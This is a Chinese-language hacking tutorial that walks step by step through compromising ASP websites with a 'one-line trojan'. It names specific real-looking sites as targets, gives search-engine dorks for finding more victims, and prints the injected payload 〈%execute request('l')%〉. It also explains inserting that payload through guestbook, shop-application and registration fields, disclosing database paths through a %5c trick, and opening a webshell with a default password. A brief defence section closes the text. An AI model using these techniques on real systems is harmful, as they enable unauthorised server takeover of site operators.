“ EASY NEWS新闻管理系统 v1.01 正式版”是在企业网站中非常常见的一套整站模版,在该网站系统的留言本组件中就存在着数据过滤不严漏洞,如果网站是默认路径和默认文件名安装的话,入侵者可以利用该漏洞直接上传ASP木马程序控制整个网站服务器。
Step1 搜索入侵目标
使用了“EASYNEWS新闻管理系统 v1.01 正式版”的网站,在网站页面的底部版权声明处,往往会有关键字符为“WWW.52EASY.COM 版权所有”。只要在GOOGLE或百度中以该字符串为关键词进行搜索,就可以找到大量的入侵目标。
Step2 检测入侵条件
在这里,我们以网站“http://www.qswtj.com/news/index.htm”为例进行一次入侵检测。“EASYNEWS新闻管理系统”网站的留言本数据库文件默认是位于“\ebook\db\ebook.asp”,首先在浏览器地址栏中输入“http://www.qswtj.com/news/ebook/db/ebook.asp”,回车后在浏览器页面中将显示访问留言本数据库文件的返回信息。如果在页面中显示乱码,则说明该网站的留言本数据库文件没有改名,可以进行入侵。
Step3 在数据库中插入ASP后门
前面提到了该新闻系统的留言本插件存在过滤不严,因此我们可以通过提交发言,在数据库中插入“一句话木马”服务端代码:
在浏览器中访问“http://www.qswtj.com/news/khly.htm”,打开提交留言页面。在提交页面中的“主页”栏中,直接填写“一句话木马”服务端代码,其它随便填写。确定后点击“发表留言”按钮,文章发表成功后,即可将“一句话木马”服务端代码插入到留言本数据库中了。
Step4 连接后门上传Webshell
由于留言本数据库文件“ebook.asp”是一个ASP文件,所以我们插入到数据库文件中的ASP语句将会被执行。将“一句话木马”客户端中的提交地址改为留言本数据库文件地址,然后用浏览器打开客户端,在上方的输入框中输入上传ASP木马的保存路径,在下面的输入框中可以粘贴入其它的ASP木马代码,这里选择的是桂林老兵网站管理助手ASP代码。点击提交按钮后,刚才粘贴的ASP木马将被写入到论坛服务器中保存。
Step5 打开WEBSHELL
上传的ASP木马被保存到与数据库文件同一WEB目录下,文件名为“temp.asp”,因此我们在IE浏览器中打开页面“http://www.qswtj.com/news/ebook/db/temp.asp”,输入默认的密码“gxgl.com”,就可以看到一个WEBSHELL了。
在Webshell中可以上传其它的文件或者安装木马后门、执行各种命令等,网站的服务器已经掌握在我们的手中,可以为所欲为了。
实例二 “社区超市”入侵动网论坛
Step1 检测入侵条件
以入侵论坛“http://www.bbsok.com/”为例。首先在浏览器地址栏中输入“http://www.bbsok.com/data/shop.asp”,回车后在浏览器页面中将显示访问"shop.asp"文件的返回信息。说明该论坛的社区超市数据库文件没有改名或删除,可以进行入侵。
Step2 在数据库中插入ASP后门
登录论坛后,点击页面中的“娱乐”→“社区超市”,打开社区超市页面。在该页面中选择商店申请,打开“商店申请入驻”页面“http://www.bbsok.com/z_shop_newshop.asp”,在页面中填写任意信息,注意在“商店招牌”栏中,添加刚才的ASP代码"〈%execute request("l")%〉"。确定后点击“申请”按钮进行提交,即可将ASP代码保存在数据库文件中了。
后面的步骤就与上面介绍的一样了,只需要用蓝屏木马连接数据库文件“http://sdoygb.w2.dvbbs.net/data/shop.asp”,然后上传WEBSHELL就可以控制论坛服务器了。
实例三 “一句话木马”入侵未知网站
从上面的两个例子,我们可以看出利用“一句话木马”入侵控制存在数据库过滤不严漏洞的网站,成功的前提是一定要知道网站的数据库地址。对于一些使用了未知网页程序的网站,我们如何才能找到它的数据库地址呢?这就要结合暴库或者跨站之类的方法了,下面只是结合一个简单的暴库,介绍一下利用一句话木马入侵未知网站的方法。
Step1 暴库得到数据库路径
以“http://bbs.dwself.com”为例。在浏览器中打开“http://bbs.dwself.com/join/listall.asp?bid=2”,将地址栏中join后的/改为%5c,在提交后的返回返回信息中可以看到网站数据库地址:“’d:\wwwroot\shuilong\wwwroot\admin\adshuilonG!#).asp’”,数据库文件名中加入了“#”符号,“#”符号在IE中执行时被解释为中断符,要访问该数据库文件则必须将“#”号变为“23%”才可以。因此数据库文件的实际WEB地址为“http://bbs.dwself.com/join/admin/adshuilonG!%23).asp”
Step2 注册网站,插入“一句话木马”
由于数据库文件是ASP文件格式的,满足入侵条件,因此现在我们需要将“一句话木马”插入到数据库文件中去。
在网页上点击注册网站按钮,打开注册链接“http://bbs.dwself.com/join/add.asp?action=step3&bid=3”,在资料填写页面处的站点名称或地址中写入“一句话木马”服务端代码,其它随便填写。然后点击完成按钮提交数据,木马服务端就被插入到数据库文件中了。
最后只需要用蓝屏木马连接数据库文件“http://bbs.dwself.com/join/admin/adshuilonG!%23).asp”,然后上传ASP木马就可以控制该网站的服务器了。
“一句话木马”的防范:
要防范“一句话木马”可以从两方面进行,首先是要隐藏网站的数据库,不要让攻击者知道数据库文件的链接地址。这就需要管理员在网页程序中查被暴库漏洞,在数据库连接文件中加入容错代码等,具体的防暴库方法在这里就不作过多的讲解了。
其次就是要防止用户提交的数据未过滤漏洞,对用户提交的数据进行过滤,替换一些危险的代码等。例如中国站长联盟网站在出现该漏洞后已经对网页程序进行的修补,插入的ASP代码中的〈、〉和"等字符会被网页程序转换成其它字符,致使服务端代码无法正常执行。
只要作好这两方面的安全工作,“一句话木马”虽然无孔不入,但是面对这样的网站系统也是无可奈何的了。